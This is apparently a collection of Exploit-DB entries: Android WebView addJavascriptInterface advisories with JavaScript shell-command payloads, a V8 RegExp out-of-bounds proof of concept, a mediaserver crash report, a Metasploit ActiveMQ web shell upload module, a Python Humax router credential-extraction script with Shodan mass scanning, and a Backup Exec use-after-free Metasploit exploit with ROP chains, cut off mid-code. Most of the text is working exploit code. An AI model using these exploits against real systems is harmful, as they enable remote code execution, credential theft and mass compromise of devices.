    <uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />

If an attacker registers the domain "tsearch.com.au" (it is currently NOT registered) and creates a DNS record for "www.tsearch.com.au" then the attacker has full control over anyone who installs and runs this app. This vulnerability can be used to execute arbitrary Java code in the context of the application.

In addition to the above, in case someone has registered "tsearch.com.au", then if an attacker performs a MITM attack against "www.tsearch.com.au" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.tsearch.com.au", then the attacker can also abuse this vulnerability.

The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.


-:: Proof of Concept ::-
A successful attack that makes "www.tsearch.com.au" serve the following code:
<script>
  function execute(cmd){
    return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
  }
  execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a1.bestsafebrowser2.com/owned']);
  execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
  </script>
  This application has been owned.

Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.

Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.


-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
    WebView webView = new WebView(this);
    setContentView(webView);
    ...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
    <manifest>
    <uses-sdk android:minSdkVersion="17" />
    ...
    </manifest>

The URL used ("http://www.tsearch.com.au") should ALSO use HTTPS (and verify the hostname and certificate properly).

Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
    private void exposeJsInterface() {
        if (VERSION.SDK_INT < 17) {
            Log.i(TAG, "addJavascriptInterface() bridge disabled.");
        } else {
            addJavascriptInterface(Object, "EVENT_NAME_HERE");
        }
    }



References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614

Filename: Australian Education App_vv6.apk
File size: 16,409,964 Bytes

md5: 86b4fab4328a2c4e54db6f1d378b7bb9
sha1: 9786bb89fcfff756d10588bf9a3a9c7439dcc74e
sha256: 2420a3067ba1b120b09ea8737fe8c822b6fea7dd7d860abb84a41611a1f0f7ed

App Name: Australian Education App
Package Name: a1.bestsafebrowser2.com
Package Version: v6

:)

=== EOF ===

Video demo:
https://www.youtube.com/watch?v=_DCz0OqJzBI

FULL POC Archive:
https://mega.nz/#!NOp20DZB!mogOpSCFltdEvAVwshgZV-IPvU1ucNvud68DBDCHRD0

The following is the timeline:
29 June 2017 - Vendor is notified.
29 June 2017 - Vendor pulls apps from app store and files privacy and trademark complaints with YouTube. Vendor does not intend to fix vulnerabilities.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
            
# Exploit Title: eVestigator Forensic PenTester v1 - Remote Code Execution via MITM
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=penetrationtest.eVestigator.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=cTu7yKTp8vc
# Version: V1
# Tested on: Android 4.0.3 (Google APIs) - API Level 15 - x86
# CVE : N/A

eVestigator Forensic PenTester - Remote Code Execution via MITM

Version affected: V1

App Info: The Android application reviewed, according to the developer, performs a "thorough forensic level Penetration Test". During run-time and reverse engineering analysis, it was discovered that the application does a connect() scan (i.e. TCP 3-way handshake) to all 65535 TCP ports, for the external IP address of the app user, with 10 simultaneous threads. However, in case a target has all 65535 TCP ports open, the application will actually report that there are 87375 "threats" (i.e. ports) open. Even after scanning all the ports, the application will continue to run forever, and for example count down from the same minute several times. (i.e. when the timer hits 14:00, it goes back up to 14:59)

The application does not report to the user which ports are open, and it does not provide a final report either. Nor does it even attempt to grab any service banners. If the "Send to eVestigator" button is clicked, none of the scan details are sent either. Instead, the external IP address along with other details about the Android environment + user-entered details are sent.

External Links:
https://play.google.com/store/apps/details?id=penetrationtest.eVestigator.com
https://www.amazon.com/eVestigator-Forensic-PenTester-Computer-Digital/dp/B01IF52TAU


Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.


-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution via Man-In-The-Middle (MITM) attacks. This is caused by the following lines of code within the \penetrationtest\eVestigator\com\main.java file: (Lines 1589-1592)
    mostCurrent._webview1.Initialize(mostCurrent.activityBA, "Webview1");
    mostCurrent._webview1.Loadproton-Url("http://api.ipify.org/?format=txt");
    WebViewExtras webViewExtras = mostCurrent._webviewextras1;
    WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "B4A");

In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
    <uses-sdk android:minSdkVersion="5" android:targetSdkVersion="19" />

If an attacker performs a MITM attack against "api.ipify.org" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "api.ipify.org", then the attacker can instruct the Android application to execute attacker controlled Java code that the phone will execute in the context of the application.

The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to a ccess public methods with attacker provided JavaScript.


-:: Proof of Concept ::-
A successful MITM attack that makes "api.ipify.org" serve the following code:
  <script>
  function execute(cmd){
    return B4A.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
  }
  document.write(execute(['/system/bin/sh','-c','echo test > /data/data/penetrationtest.eVestigator.com/hax0r1tn0w']));
  </script>

Will make the Android application create a new file in the App directory named: hax0r1tn0w

Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.


-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
    WebView webView = new WebView(this);
    setContentView(webView);
    ...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
    <manifest>
    <uses-sdk android:minSdkVersion="17" />
    ...
    </manifest>

The URL used ("http://api.ipify.org/?format=txt") should ALSO use HTTPS (and verify the hostname and certificate properly), because an attacker performing a MITM attack can otherwise force the application into scanning any target that the attacker desires. The URL used to get the external IP address of the user, should also be hosted by the developer and not a third party.


References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614

Filename: penetrationtest.eVestigator.com_2016-07-11.apk
File size: 1062059 Bytes

md5: FD4ACC4133526BE8106836D69867F9C1
sha1: C92D5184ABEFDBE12D53EBE2ADCE2CFABAB96E60
sha256: 12219EF02C714ECC8F3247D38EFC0E7DF36A9EA9C71507D7984D2C04E31CCE0B

App Name: eVestigator Simon Smith Forensics - PenTester
Package Name: penetrationtest.eVestigator.com
Package Version: V1

=== EOF ===

Video demo:
https://www.youtube.com/watch?v=cTu7yKTp8vc

Full POC Archive:
https://mega.nz/#!MHYjVCTZ!4rZhT99mi0-uTDmc_nA9sT0-xQeK-O_InYWWvMdVBFk

The following is the disclosure timeline:
25 June 2017 - Vendor is notified.
25 June 2017 - Vendor sends several threats of prosecution to InterN0T.
26 June 2017 - Vendor pulls apps from app store and does not intend to fix vulnerabilities.
29 June 2017 - Vendor files privacy and trademark complaints with YouTube.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
            
There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.

A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.

var re;
function f(){
	for(var i = 0; i < 100; i++){
		re["test" + i] = 0x77777777; // make a dict
	}
return 0;
}

re = /-/g;
var str = '2016-01-02';
re.lastIndex = {valueOf : f};
result = re.exec(str);

This PoC crashes on google-chrome-beta on Linux.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42286.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1226

There are three variants of the below crash, all of which stemming from an unbound copy into a fixed size stack buffer allocated in the function ASFParser::SetMetaData, used as an argument to each of the three calls to the function unicodeToUtf_8 without checking that the output length will be less than the size of the buffer. You can see in the crashdump that the argv array has been overwritten by junk unicode output, resulting in the corrupted binary path displayed in the output.

I believe that this issue is mitigated by compiling with stack cookies, so I'm not applying the 90 day deadline to this issue since I don't think it's exploitable except as a denial-of-service.

*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'lge/p1_global_com/p1:6.0/MRA58K/1624210305d45:user/release-keys'
Revision: '11'
ABI: 'arm'
pid: 435, tid: 435, name: mediaserver  >>> �ు둢吟ѷἃ舄㹂慮춎䇛㾾攞䎤➹뽉龂팆顯浃桡>큾略혭拴畹㿺㬭똦৿➦쎪悸ꪰ뒇᭥릧㠙���褓悀䳘牀⛕鑆ࡢ���㹇䊌⾩ʘỬ操陊ꦑ䤮峇ᇱ빌屸쒫羮죾‘궈砜톢庋_䔗蛴ᰦ꿚肁࿗砘搒깷옮豩烙켯펤傁䅥툺帰Ŧ䥎ᢘ퐢옥ꤤࠨ᪗@���Ԃ깛Ȯ댁ૃ⒨待讍ꄌ鈤䄚戬㸵Ṣ䙌䠖咂徕琣༔ৰ씊塀⏆ð厔⁀呕!谀櫰ុì⪌跔띦䳊薵結စ䌷﷌���๑髇#쀇붭
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xff951000
    r0 ff951002  r1 f023b0ba  r2 0000100e  r3 ffffff8f
AM write failed: Broken pipe
    r4 00000792  r5 f023bfde  r6 f5f1c080  r7 efdfca69
    r8 f1282348  r9 ff94fc70  sl f1282348  fp 00000012
    ip 0000a3c6  sp ff94fc5c  lr efdf7457  pc efdf4a9a  cpsr 800f0030

backtrace:
    #00 pc 00003a9a  /system/lib/liblg_parser_asf.so (_Z14unicodeToUtf_8PhPti+85)
    #01 pc 00006453  /system/lib/liblg_parser_asf.so (_ZN9ASFParser11SetMetaDataEP15meta_descriptor+186)
    #02 pc 6b203432  <unknown>


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42285.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'ActiveMQ web shell upload',
      'Description' => %q(
        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
        allows remote attackers to upload and execute arbitrary files via an
        HTTP PUT followed by an HTTP MOVE request.
      ),
      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-3088' ],
          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows',
             {
               'Platform' => 'win',
               'Arch' => ARCH_X86
             }
           ]
        ],
      'DisclosureDate' => "Jun 01 2016",
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
        Opt::RPORT(8161)
      ])
    register_advanced_options(
      [
        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
      ])
  end

  def jsp_text(payload_name)
    %{
    <%@ page import="java.io.*"
    %><%@ page import="java.net.*"
    %><%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
    %>}
  end

  def exploit
    jar_payload = payload.encoded_jar.pack
    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
    paths = get_upload_paths
    paths.each do |path|
      if try_upload(path, jar_payload, payload_name)
        break handler if trigger_payload(payload_name)
        print_error('Unable to trigger payload')
      end
    end
  end

  def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]
    end
    true
  end

  def get_upload_paths
    base_path = "#{get_install_path}/webapps"
    custom_path = datastore['UploadPath']
    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
    [ "#{base_path}/api/", "#{base_path}/admin/" ]
  end

  def get_install_path
    properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
    match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*<td>([^@]+)<\/td>/)
    return match[1] unless match.nil?
  end

  def send_request(method, uri, expected_response = 200, opts = {})
    opts['headers'] ||= {}
    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
    opts['headers']['Connection'] = 'close'
    r = send_request_cgi(
      {
        'method'  => method,
        'uri'     => uri
      }.merge(opts)
    )
    return false if r.nil? || expected_response != r.code.to_i
    r
  end

  def trigger_payload(payload_name)
    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
  end

  def error_out
    print_error('Upload failed')
    @trigger_resource = nil
    false
  end
end
            
# coding: utf-8

# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315

import sys
import base64
import shodan
import requests
import subprocess

def banner():
    print '''
 ██░ ██  █    ██  ███▄ ▄███▓ ▄▄▄      ▒██   ██▒
▓██░ ██▒ ██  ▓██▒▓██▒▀█▀ ██▒▒████▄    ▒▒ █ █ ▒░
▒██▀▀██░▓██  ▒██░▓██    ▓██░▒██  ▀█▄  ░░  █   ░
░▓█ ░██ ▓▓█  ░██░▒██    ▒██ ░██▄▄▄▄██  ░ █ █ ▒
░▓█▒░██▓▒▒█████▓ ▒██▒   ░██▒ ▓█   ▓██▒▒██▒ ▒██▒
 ▒ ░░▒░▒░▒▓▒ ▒ ▒ ░ ▒░   ░  ░ ▒▒   ▓▒█░▒▒ ░ ░▓ ░
 ▒ ░▒░ ░░░▒░ ░ ░ ░  ░      ░  ▒   ▒▒ ░░░   ░▒ ░
 ░  ░░ ░ ░░░ ░ ░ ░      ░     ░   ▒    ░    ░
 ░  ░  ░   ░            ░         ░  ░ ░    ░
    '''
    print 'Description: Humax HG100R backup file download'
    print 'Software Version: VER 2.0.6'
    print 'SDK Version: 5.7.1mp1'
    print 'IPv6 Stack Version: 1.2.2'
    print 'Author: Gambler'
    print 'Vulnerability founded: 14/03/2016'
    print 'CVE: waiting'
    print

def xplHelp():
    print 'Exploit syntax error, Example:'
    print 'python xpl.py http://192.168.0.1'

def exploit(server):
    path = '/view/basic/GatewaySettings.bin'
    if not server.startswith('http'):
        server = 'http://%s' % server
    if server.endswith('/'):
        server = server[:-1]+''
    url = '%s/%s' %(server,path)
    print '[+] - Downloading configuration file and decoding'
    try:
        r = requests.get(url, stream=True,timeout=10)
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                rawdata = r.content
        save(rawdata)
    except:
        pass

def save(rawdata):
    config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
    open('config.txt', 'w').write(config)
    print '[+] - Done, file saved as config.txt'
    infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
    print '[+] - Credentials found'
    print infos

def shodanSearch():
    SHODAN_API_KEY = "SHODAN_API_KEY"
    api = shodan.Shodan(SHODAN_API_KEY)
    try:
            results = api.search('Copyright © 2014 HUMAX Co., Ltd. All rights reserved.')
            print 'Results found: %s' % results['total']
            for result in results['matches']:
                    router = 'http://%s:%s' % (result['ip_str'],result['port'])
                    print router
                    exploit(router)
    except shodan.APIError, e:
            print 'Error: %s' % e


if __name__ == '__main__':

    if len(sys.argv) < 2:
        xplHelp()
        sys.exit()
    banner()
    if sys.argv[1] == 'shodan':
        shodanSearch()
    else:
        exploit(sys.argv[1])
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/ndmp_socket'

require 'openssl'
require 'xdr'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::NDMPSocket

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
      'Description'    => %q{
        This module exploits a use-after-free vulnerability in the handling of SSL NDMP
        connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
        is re-established on a NDMP connection that previously has had SSL established,
        the BIO struct for the connection's previous SSL session is reused, even though it
        has previously been freed.

        This module supports 3 specific versions of the Backup Exec agent in the 14, 15
        and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
        Vista to Windows 10. The check command can help narrow down what major and minor
        revision is installed and the precise of version of Windows, but some other
        information may be required to make a reliable choice of target.

        NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
        reliability of around 85%. On other versions of Windows, reliability is around 35%
        (due to the need to win a race condition across the network in this case; this may
        drop further depending on network conditions). The agent is normally installed on
        all hosts in a domain that need to be backed up, so if one service crashes, try
        again on another :) Successful exploitation will give remote code execution as the
        user of the Backup Exec Remote Agent for Windows service, almost always
        NT AUTHORITY\SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Matthew Daley' ],
      'References'     =>
        [
          [ 'CVE', '2017-8895' ],
          [ 'VTS', '17-006' ],
          [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
        ],
      'Platform'       => 'win',
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
            { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
            { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
            { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
            { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
            { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
          ],
          [
            'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
            { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
          ]
        ],
      'DefaultOptions' =>
        {
          'RPORT'              => 10000,
          'NumTriggerAttempts' => 50,
          'EXITFUNC'           => 'thread'
        },
      'Privileged'     => true,
      'DisclosureDate' => 'May 10 2017',
      'DefaultTarget'  => 8))

    register_options([
      OptInt.new('NumSpraySockets',    [ false, 'Number of sockets to spray stage 1 with' ]),
      OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
      OptInt.new('NumTriggerAttempts', [ true,  'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
    ])
  end

  def check
    s = NDMP::Socket.new(connect)
    return CheckCode::Unknown unless connect_ndmp(s, 2)

    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
    return CheckCode::Unknown unless resp
    info = HostInfoResponse.from_xdr(resp.body)
    print_line('Hostname: ' + info.hostname)
    print_line('OS type: ' + info.os_type)
    print_line('OS version: ' + info.os_version)
    print_line('Host ID: ' + info.host_id)

    disconnect
    s = NDMP::Socket.new(connect)
    return CheckCode::Unknown unless connect_ndmp(s, 3)

    resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
    return CheckCode::Unknown unless resp
    info = ServiceInfoResponse.from_xdr(resp.body)
    print_line('Vendor: ' + info.vendor_name)
    print_line('Product: ' + info.product_name)
    print_line('Revision: ' + info.revision_number)

    ver = info.revision_number.split('.')
    if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
      CheckCode::Appears
    else
      CheckCode::Detected
    end
  end

  def exploit
    print_status('Connecting sockets...')

    # Connect a differing amount of sockets for stage 1 spraying depending on the target
    spray_socks = connect_additional_sockets(
      datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
      target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
    )

    # Likewise, connect a differing amount of sockets for TLS extension spraying depending
    # on the target
    num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
      case target.opts['Version']
      when 14
        0
      when 15
        target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
      when 16
        target.opts['Arch'] == ARCH_X64 ? 100 : 0
      end
    )
    tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)

    s = NDMP::Socket.new(connect)
    unless connect_ndmp(s, 3)
      fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
    end

    ca_cert, ca_key = generate_ca_cert_and_key
    ca_cert_id = get_cert_id(ca_cert)
    print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")

    print_status('Getting and handling a certificate signing request...')
    agent_cert = handle_a_csr(s, ca_cert, ca_key)
    fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
    print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")

    if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
      # For certain target types, put the stage 1 spray sockets into SSL mode. We can use
      # the newly made CA certificate and key as our client side certificate
      ssl_context = OpenSSL::SSL::SSLContext.new
      ssl_context.cert = ca_cert
      ssl_context.key = ca_key
      print_status('Entering spray sockets into SSL mode...')
      (1..2).each do |phase|
        spray_socks.each do |ss|
          require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
          require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
          ss.wrap_with_ssl(ssl_context) if phase == 2
        end
      end
    end

    print_status('Testing certificate...')
    require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)

    # For some targets, split the spraying of TLS extensions around entering SSL on the
    # main socket
    tls_cutoff = tls_spray_socks.length
    if target.opts['Win8Upwards']
      if target.opts['Arch'] == ARCH_X86
        tls_cutoff /= 2
      end
    else
      tls_cutoff /= 10
    end
    spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)

    print_status('Entering SSL mode on main socket...')
    require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)

    spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)

    # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
    # stages are contained in the SSL socket buffer at the time of the UAF. The record
    # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
    # record (depending on the amount of trigger attempts required; see attempt_triggers)
    print_status('Sending stages 2 to 4...')
    if target.opts['Arch'] == ARCH_X64
      if target.opts['Version'] == 14
        # x64, version 14. Use a TLS handshake record
        #
        #   Windows 8+:
        #     Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #      0 | 16 | 03 | 01 | length  | FILLER
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     10                                                                  | ret 3
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     20                          | ret                                   | FILLER       |
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     30 | retsled (0x10 aligned length)...                                              |
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     .. | stages 2-4...
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #
        #   Otherwise:
        #     Stage 1 jumps to 0x18
        #          0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #      0 | 16 | 03 | 01 | length  | FILLER
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     10                                         | ret                                   |
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #     20 | stages 2-4...
        #        +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+

        ret = [0xbe6c897].pack('Q<')
        if target.opts['Win8Upwards']
          ret_3 = [0xbe2829b].pack('Q<')
          payload = rand_text(24) + ret_3 + ret + rand_text(3) +
                    ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
        else
          payload = rand_text(19) + ret
        end
        payload << generate_stages_2_to_4

        stage_tls = generate_tls_handshake_record(payload)
      else
        # x64, version 15/16. Use a SSLv2 hqndshake record
        #   Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
        #   Otherwise: Stage 1 jumps to 0x18
        #        0    1    2    3    4    5    6    7    8    9    A    B    C    D    E    F
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #    0 | length  | 01 | 03 | FILLER
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   10                                         | pop x3; ret                           |
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   20 | FILLER       | ret 5                                 | ret
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   30                | FILLER                 | retsled (0x8 aligned length)...       |
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
        #   40 | stages 2 - 4...
        #      +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+

        pop_x3 = [0xbe1d920].pack('Q<')
        ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
        ret = [0xbe6c897].pack('Q<')
        payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
                  ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
                  generate_stages_2_to_4

        stage_tls = generate_tls_in_sslv2_clienthello(payload)
      end
    else
      if target.opts['Version'] == 14
        # x86, version 14. Use a TLS handshake record
